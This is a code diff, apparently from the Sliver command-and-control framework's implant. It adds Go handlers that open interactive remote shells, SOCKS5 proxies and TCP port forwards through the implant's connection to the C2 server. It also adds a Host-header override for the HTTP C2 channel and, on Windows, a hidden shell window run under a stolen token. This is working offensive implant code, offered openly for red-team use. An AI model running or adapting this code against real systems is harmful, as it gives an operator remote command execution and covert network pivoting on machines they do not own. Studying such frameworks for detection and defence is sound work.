_, err := io.Copy(tWriter, tunnel.Reader)
cleanup(err)
}()
}
type socksTunnelPool struct {
tunnels map[uint64]chan []byte
readMutex *sync.Mutex
writeMutex *sync.Mutex
Sequence map[uint64]uint64
}
var socksTunnels = socksTunnelPool{
tunnels: map[uint64]chan []byte{},
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
Sequence: map[uint64]uint64{},
}
var socksServer *socks5.Server
func socksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if _, ok := socksTunnels.tunnels[socksData.TunnelID]; !ok {
socksTunnels.tunnels[socksData.TunnelID] = make(chan []byte, 10)
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
return
}
} else {
socksTunnels.tunnels[socksData.TunnelID] <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
socksTunnels.readMutex.Lock()
channel := socksTunnels.tunnels[s.stream.TunnelID]
socksTunnels.readMutex.Unlock()
data := <-channel
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
socksTunnels.writeMutex.Lock()
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: s.Sequence,
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", s.Sequence, len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
socksTunnels.writeMutex.Unlock()
s.Sequence++
return len(b), err
}
func (s *socks) Close() error {
close(socksTunnels.tunnels[s.stream.TunnelID])
delete(socksTunnels.tunnels, s.stream.TunnelID)
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,33 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel][tunnelCloseHandler] Received close message for unknown tunnel id %d", tunnelClose.TunnelID)
// {{end}}
}
}
@@ -0,0 +1,66 @@
package tunnel_handlers
import (
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// TunnelID -> Sequence Number -> Data
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
func (c *dataCache) Len(tunnelID uint64) int {
c.mutex.RLock()
defer c.mutex.RUnlock()
return len(c.cache[tunnelID])
}
@@ -0,0 +1,81 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func TunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
tunnelDataCache.Add(tunnel.ID, tunnelData.Sequence, tunnelData)
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
tunnel.IncReadSequence() // Increment sequence counter
// {{if .Config.Debug}}
log.Printf("[message just received] %v", tunnelData)
// {{end}}
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if tunnelDataCache.Len(tunnel.ID) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence(), // The tunnel write sequence
Ack: tunnel.ReadSequence(),
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
// {{end}}
connection.RequestResend(data)
}
}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
log.Printf("[message just transfered] %v", tunnelData)
// {{end}}
}
}
@@ -0,0 +1,112 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
cancelContext()
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
// {{if .Config.Debug}}
log.Printf("[portfwd] Creating tcp tunnel")
// {{end}}
tunnel := transports.NewTunnel(
portfwdReq.TunnelID,
dst,
dst,
)
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
n, err := io.Copy(tWriter, tunnel.Reader)
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
// {{end}}
cleanup(err)
}()
}
@@ -0,0 +1,118 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"io"
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell, err := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
// At this point, comand is already started by StartInteractive
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to spawn! err: %v", err)
// {{end}}
return
} else {
// {{if .Config.Debug}}
log.Printf("[shell] Process spawned!")
// {{end}}
}
tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdout,
systemShell.Stdin,
)
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string, err error) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel request %d (%s). Err: %v", tunnel.ID, reason, err)
// {{end}}
systemShell.Stop()
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if err != nil {
cleanup("io error", err)
return
}
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
@@ -0,0 +1,165 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"errors"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
type socksTunnelPool struct {
tunnels *sync.Map // map[uint64]chan []byte
}
var socksTunnels = socksTunnelPool{
tunnels: &sync.Map{},
}
var socksServer *socks5.Server
func SocksReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
socksData := &sliverpb.SocksData{}
err := proto.Unmarshal(envelope.Data, socksData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
if socksData.Data == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[socks] User to Client to (server to implant) Data Sequence %d, Data Size %d\n", socksData.Sequence, len(socksData.Data))
// {{end}}
if socksData.Username != "" && socksData.Password != "" {
cred := socks5.StaticCredentials{
socksData.Username: socksData.Password,
}
auth := socks5.UserPassAuthenticator{Credentials: cred}
socksServer = socks5.NewServer(
socks5.WithAuthMethods([]socks5.Authenticator{auth}),
)
} else {
socksServer = socks5.NewServer()
}
// {{if .Config.Debug}}
log.Printf("[socks] Server: %v", socksServer)
// {{end}}
// init tunnel
if tunnel, ok := socksTunnels.tunnels.Load(socksData.TunnelID); !ok {
tunnelChan := make(chan []byte, 10)
socksTunnels.tunnels.Store(socksData.TunnelID, tunnelChan)
tunnelChan <- socksData.Data
err := socksServer.ServeConn(&socks{stream: socksData, conn: connection})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[socks] Failed to serve connection: %v", err)
// {{end}}
return
}
} else {
tunnel.(chan []byte) <- socksData.Data
}
}
var _ net.Conn = &socks{}
type socks struct {
stream *sliverpb.SocksData
conn *transports.Connection
// mux sync.Mutex
Sequence uint64
}
func (s *socks) Read(b []byte) (n int, err error) {
channel, ok := socksTunnels.tunnels.Load(s.stream.TunnelID)
if !ok {
return 0, errors.New("[socks] invalid tunnel id")
}
data := <-channel.(chan []byte)
return copy(b, data), nil
}
func (s *socks) Write(b []byte) (n int, err error) {
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
Data: b,
Sequence: atomic.LoadUint64(&s.Sequence),
})
if !s.conn.IsOpen {
return 0, err
}
// {{if .Config.Debug}}
log.Printf("[socks] (implant to Server) to Client to User Data Sequence %d, Data Size %d Data %v\n", atomic.LoadUint64(&s.Sequence), len(b), b)
// {{end}}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
atomic.AddUint64(&s.Sequence, 1)
return len(b), err
}
func (s *socks) Close() error {
channel, ok := socksTunnels.tunnels.LoadAndDelete(s.stream.TunnelID)
if !ok {
return errors.New("[socks] can't close unknown channel")
}
close(channel.(chan []byte))
data, err := proto.Marshal(&sliverpb.SocksData{
TunnelID: s.stream.TunnelID,
CloseConn: true,
})
if !s.conn.IsOpen {
return err
}
s.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgSocksData,
Data: data,
}
return err
}
func (c *socks) LocalAddr() net.Addr {
return nil
}
func (c *socks) RemoteAddr() net.Addr {
return &net.IPAddr{
IP: net.IPv4(127, 0, 0, 1),
Zone: "",
}
}
// TODO impl
func (c *socks) SetDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetReadDeadline(t time.Time) error {
return nil
}
// TODO impl
func (c *socks) SetWriteDeadline(t time.Time) error {
return nil
}
@@ -0,0 +1,38 @@
package tunnel_handlers
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence(), // The tunnel write sequence
Ack: tw.tun.ReadSequence(),
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
+22 -22
View File
@@ -24,6 +24,7 @@ import (
"encoding/base64"
"encoding/binary"
"errors"
"io"
"net"
"sync"
"time"
@@ -38,10 +39,6 @@ import (
"google.golang.org/protobuf/proto"
)
const (
readBufSize = 1024
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
@@ -114,13 +111,14 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
return false
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
stoppedPivotListeners = &sync.Map{}
}
// StopAllListeners - Stop all pivot listeners
@@ -476,7 +474,9 @@ func (p *NetConnPivot) read() ([]byte, error) {
p.readMutex.Lock()
defer p.readMutex.Unlock()
dataLengthBuf := make([]byte, 4)
n, err := p.conn.Read(dataLengthBuf)
n, err := io.ReadFull(p.conn, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +485,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, readBufSize)
dataBuf := []byte{}
totalRead := 0
for {
n, err := p.conn.Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
if dataLength <= 0 {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
if err != nil || n != dataLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: %s\n", err)
// {{end}}
return nil, err
}
return dataBuf, err
}
+21 -10
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -44,63 +45,73 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
if enablePty {
return ptyShell(tunnelID, command)
}
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Cancel: cancel,
}, err
}
func ptyShell(tunnelID uint64, command []string) *Shell {
func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[ptmx] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
term, err := pty.Start(cmd)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[term] %v, falling back to piped shell...", err)
// {{end}}
cancel()
return pipedShell(tunnelID, command)
}
cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: term,
Stdin: term,
}
Cancel: cancel,
}, err
}
// GetSystemShellPath - Find bash or sh
+17 -4
View File
@@ -19,6 +19,7 @@ package shell
*/
import (
"context"
"io"
"os"
"os/exec"
@@ -30,12 +31,24 @@ type Shell struct {
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
Cancel context.CancelFunc
}
// StartAndWait starts a system shell then waits for it to complete
func (s *Shell) StartAndWait() {
s.Command.Start()
s.Command.Wait()
// Start - starts a command
func (s *Shell) Start() error {
return s.Command.Start()
}
// Wait - waits till the command finish
func (s *Shell) Wait() error {
return s.Command.Wait()
}
// Stop - stopping the command (syskill) using context cancel
func (s *Shell) Stop() {
if s.Cancel != nil {
s.Cancel()
}
}
func exists(path string) bool {
+12 -6
View File
@@ -26,6 +26,7 @@ import (
"log"
// {{end}}
"context"
"os/exec"
)
@@ -42,29 +43,33 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
cmd := exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
return nil
cancel()
return nil, err
}
return &Shell{
@@ -72,7 +77,8 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Cancel: cancel,
}, nil
}
// GetSystemShellPath - Find bash or sh
+26 -7
View File
@@ -23,6 +23,7 @@ import (
"log"
// {{end}}
"context"
"github.com/bishopfox/sliver/implant/sliver/priv"
"golang.org/x/sys/windows"
"os/exec"
@@ -61,28 +62,46 @@ func Start(command string) error {
}
// StartInteractive - Start a shell
func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
return pipedShell(tunnelID, command)
}
func pipedShell(tunnelID uint64, command []string) *Shell {
func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
// {{if .Config.Debug}}
log.Printf("[shell] %s", command)
// {{end}}
var cmd *exec.Cmd
cmd = exec.Command(command[0], command[1:]...)
ctx, cancel := context.WithCancel(context.Background())
cmd := exec.CommandContext(ctx, command[0], command[1:]...)
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(priv.CurrentToken),
HideWindow: true,
}
stdin, _ := cmd.StdinPipe()
stdout, _ := cmd.StdoutPipe()
stdin, err := cmd.StdinPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdin pipe failed\n")
// {{end}}
cancel()
return nil, err
}
stdout, err := cmd.StdoutPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stdout pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
}
Cancel: cancel,
}, err
}
+6 -6
View File
@@ -519,6 +519,12 @@ func openSessionHandler(data []byte) {
// {{end}} -IsBeacon
func sessionMainLoop(connection *transports.Connection) error {
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
err := connection.Start()
if err != nil {
// {{if .Config.Debug}}
@@ -526,12 +532,6 @@ func sessionMainLoop(connection *transports.Connection) error {
// {{end}}
return err
}
if connection == nil {
// {{if .Config.Debug}}
log.Printf("[session] nil connection!")
// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
+91
View File
@@ -0,0 +1,91 @@
package transports
import (
"net/url"
"sync"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
type Connection struct {
Send chan *pb.Envelope
Recv chan *pb.Envelope
IsOpen bool
ctrl chan struct{}
cleanup func()
once *sync.Once
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
uri *url.URL
proxyURL *url.URL
Start Start
Stop Stop
}
// URL - Get the c2 URL of the connection
func (c *Connection) URL() string {
if c.uri == nil {
return ""
}
return c.uri.String()
}
// ProxyURL - Get the c2 URL of the connection
func (c *Connection) ProxyURL() string {
if c.proxyURL == nil {
return ""
}
return c.proxyURL.String()
}
// Cleanup - Execute cleanup once
func (c *Connection) Cleanup() {
c.once.Do(func() {
c.cleanup()
c.IsOpen = false
c.removeAndCloseAllTunnels()
})
}
// Tunnel - Add tunnel to mapping
func (c *Connection) Tunnel(ID uint64) *Tunnel {
c.mutex.RLock()
defer c.mutex.RUnlock()
return (*c.tunnels)[ID]
}
// AddTunnel - Add tunnel to mapping
func (c *Connection) AddTunnel(tun *Tunnel) {
c.mutex.Lock()
defer c.mutex.Unlock()
(*c.tunnels)[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func (c *Connection) RemoveTunnel(ID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(*c.tunnels, ID)
}
func (c *Connection) removeAndCloseAllTunnels() {
c.mutex.Lock()
defer c.mutex.Unlock()
for id, tunnel := range *c.tunnels {
tunnel.Close()
delete(*c.tunnels, id)
}
}
func (c *Connection) RequestResend(data []byte) {
c.Send <- &pb.Envelope{
Type: pb.MsgTunnelData,
Data: data,
}
}
@@ -70,6 +70,7 @@ type HTTPOptions struct {
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
HostHeader string
ProxyConfig string
ProxyUsername string
@@ -109,6 +110,7 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
HostHeader: c2URI.Query().Get("host-header"),
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -221,6 +223,9 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
if s.Options.HostHeader != "" {
req.Host = s.Options.HostHeader
}
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
+20 -21
View File
@@ -25,7 +25,9 @@ import (
"crypto/tls"
"crypto/x509"
"encoding/binary"
"errors"
"fmt"
"io"
"time"
// {{if .Config.Debug}}
@@ -43,8 +45,6 @@ var (
// PingInterval - Amount of time between in-band "pings"
PingInterval = 2 * time.Minute
readBufSize = 16 * 1024 // 16kb
// caCertPEM - PEM encoded CA certificate
caCertPEM = `{{.Config.MtlsCACert}}`
@@ -91,8 +91,8 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
if len(dataLengthBuf) == 0 || connection == nil {
panic("[[GenerateCanary]]")
}
_, err := connection.Read(dataLengthBuf)
if err != nil {
n, err := io.ReadFull(connection, dataLengthBuf)
if err != nil || n != 4 {
// {{if .Config.Debug}}
log.Printf("Socket error (read msg-length): %v\n", err)
// {{end}}
@@ -100,23 +100,22 @@ func ReadEnvelope(connection *tls.Conn) (*pb.Envelope, error) {
}
